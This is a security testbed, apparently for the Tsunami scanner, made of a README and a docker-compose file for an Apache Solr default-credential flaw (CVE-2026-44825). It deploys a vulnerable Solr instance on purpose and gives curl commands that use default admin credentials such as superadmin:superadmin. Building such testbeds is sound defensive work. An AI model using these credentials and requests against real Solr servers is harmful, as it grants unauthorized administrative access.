templated/CVE-2026-44825

apache/solr/CVE-2026-44825/README.md

@@ -0,0 +1,112 @@
+# Apache Solr - Hardcoded Default Credentials (CVE-2026-44825)
+
+## Overview
+
+Apache Solr versions `9.4.0` through `9.10.1` and `10.0.0` contain default Basic Authentication template users (`superadmin`, `admin`, `search`, `index` with default credentials equal to their usernames, such as `superadmin:superadmin`) created during `bin/solr auth enable`. This allows remote attackers to gain administrative access via hardcoded credentials.
+
+- **Vulnerability Type**: Hardcoded Default Credentials / Broken Authentication
+- **Severity**: High
+- **Vulnerable Versions**: `9.4.0` - `9.10.1`, `10.0.0`
+- **Patched Versions**: `9.11.0`, `10.1.0` (or removing default template accounts)
+
+---
+
+## Testbed Setup
+
+The testbed uses Docker Compose to deploy two instances:
+- **Vulnerable instance (`solr_vulnerable_cve_2026_44825`)**: Solr `9.10.1` running on host port `9983`. Default template credentials (`superadmin:superadmin`) remain active.
+- **Patched / Safe instance (`solr_patched_cve_2026_44825`)**: Solr `9.11.0` running on host port `9985`. Default template credentials are no longer active; only authorized credentials (`myuser:mypassword`) work.
+
+### Start the Testbed
+
+```bash
+cd /usr/local/google/home/dyeddala/tsunami/security-testbeds/apache/solr/CVE-2026-44825
+docker compose up -d
+```
+
+### Stop the Testbed
+
+```bash
+docker compose down
+```
+
+---
+
+## Manual Verification
+
+### 1. Vulnerable Instance (Port 9983)
+
+#### Step 1: Verify protected endpoint requires authentication
+```bash
+curl -i -s "http://localhost:9983/solr/admin/cores?action=STATUS&wt=json"
+```
+**Expected Response**: `HTTP/1.1 401 Unauthorized`
+
+#### Step 2: Verify default template credentials grant administrative access
+```bash
+curl -i -s -u "superadmin:superadmin" "http://localhost:9983/solr/admin/cores?action=STATUS&wt=json"
+```
+**Expected Response**: `HTTP/1.1 200 OK` (Vulnerability verified)
+
+---
+
+### 2. Patched Instance (Port 9985)
+
+#### Step 1: Verify default template credentials are rejected
+```bash
+curl -i -s -u "superadmin:superadmin" "http://localhost:9985/solr/admin/cores?action=STATUS&wt=json"
+```
+**Expected Response**: `HTTP/1.1 401 Unauthorized`
+
+#### Step 2: Verify authorized credentials work
+```bash
+curl -i -s -u "myuser:mypassword" "http://localhost:9985/solr/admin/cores?action=STATUS&wt=json"
+```
+**Expected Response**: `HTTP/1.1 200 OK`
+
+---
+
+### 3. Automated Side-by-Side Verification
+
+```bash
+for port in 9983 9985; do
+  echo "=== Testing Port $port ==="
+  echo -n "  [No Auth]               -> HTTP "
+  curl -s -o /dev/null -w "%{http_code}\n" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json"
+  echo -n "  [superadmin:superadmin] -> HTTP "
+  curl -s -o /dev/null -w "%{http_code}\n" -u "superadmin:superadmin" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json"
+  echo -n "  [myuser:mypassword]     -> HTTP "
+  curl -s -o /dev/null -w "%{http_code}\n" -u "myuser:mypassword" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json"
+done
+```
+
+**Expected Output:**
+```text
+=== Testing Port 9983 ===
+  [No Auth]               -> HTTP 401
+  [superadmin:superadmin] -> HTTP 200
+  [myuser:mypassword]     -> HTTP 401
+=== Testing Port 9985 ===
+  [No Auth]               -> HTTP 401
+  [superadmin:superadmin] -> HTTP 401
+  [myuser:mypassword]     -> HTTP 200
+```
+
+---
+
+## Tsunami Scanner Verification
+
+1. Run the Tsunami scanner:
+   ```bash
+   cd /usr/local/google/home/dyeddala/tsunami
+   ./run_tsunami.sh
+   ```
+
+2. When prompted:
+   - `--detectors-include`: `Apache_Solr_CVE_2026_44825`
+   - `--port-ranges-target`: `9983,9985`
+
+3. Verify results in `/tmp/tsunami-out.json`:
+   - Port `9983`: `VULNERABILITY_VERIFIED` (`CVE-2026-44825`)
+   - Port `9985`: Not flagged (patched)
+

apache/solr/CVE-2026-44825/docker-compose.yml

@@ -0,0 +1,44 @@
+version: '3.8'
+
+services:
+  # =========================================================================
+  # VULNERABLE SERVICE (CVE-2026-44825)
+  # Uses Solr 9.10.1 mapped to Host Port 9983
+  # Default template credentials (superadmin:superadmin, admin:admin, etc.) remain active
+  # =========================================================================
+  solr-vulnerable:
+    image: solr:9.10.1
+    container_name: solr_vulnerable_cve_2026_44825
+    ports:
+      - "9983:8983"
+    environment:
+      - SOLR_JAVA_MEM=-Xms512m -Xmx512m
+    command: >
+      bash -c "
+        solr start -c -p 8983 &&
+        while ! curl -s http://localhost:8983/solr/admin/info/system > /dev/null; do sleep 1; done &&
+        solr auth enable --type basicAuth --credentials solr:SolrRocks --block-unknown true --prompt false &&
+        tail -f /dev/null
+      "
+    restart: unless-stopped
+
+  # =========================================================================
+  # PATCHED / SAFE SERVICE
+  # Uses Solr 9.11.0 mapped to Host Port 9985
+  # Default template credentials are no longer active in 9.11.0
+  # =========================================================================
+  solr-patched:
+    image: solr:9.11.0
+    container_name: solr_patched_cve_2026_44825
+    ports:
+      - "9985:8983"
+    environment:
+      - SOLR_JAVA_MEM=-Xms512m -Xmx512m
+    command: >
+      bash -c "
+        solr start -c -p 8983 &&
+        while ! curl -s http://localhost:8983/solr/admin/info/system > /dev/null; do sleep 1; done &&
+        solr auth enable --type basicAuth --credentials myuser:mypassword --block-unknown true --prompt false &&
+        tail -f /dev/null
+      "
+    restart: unless-stopped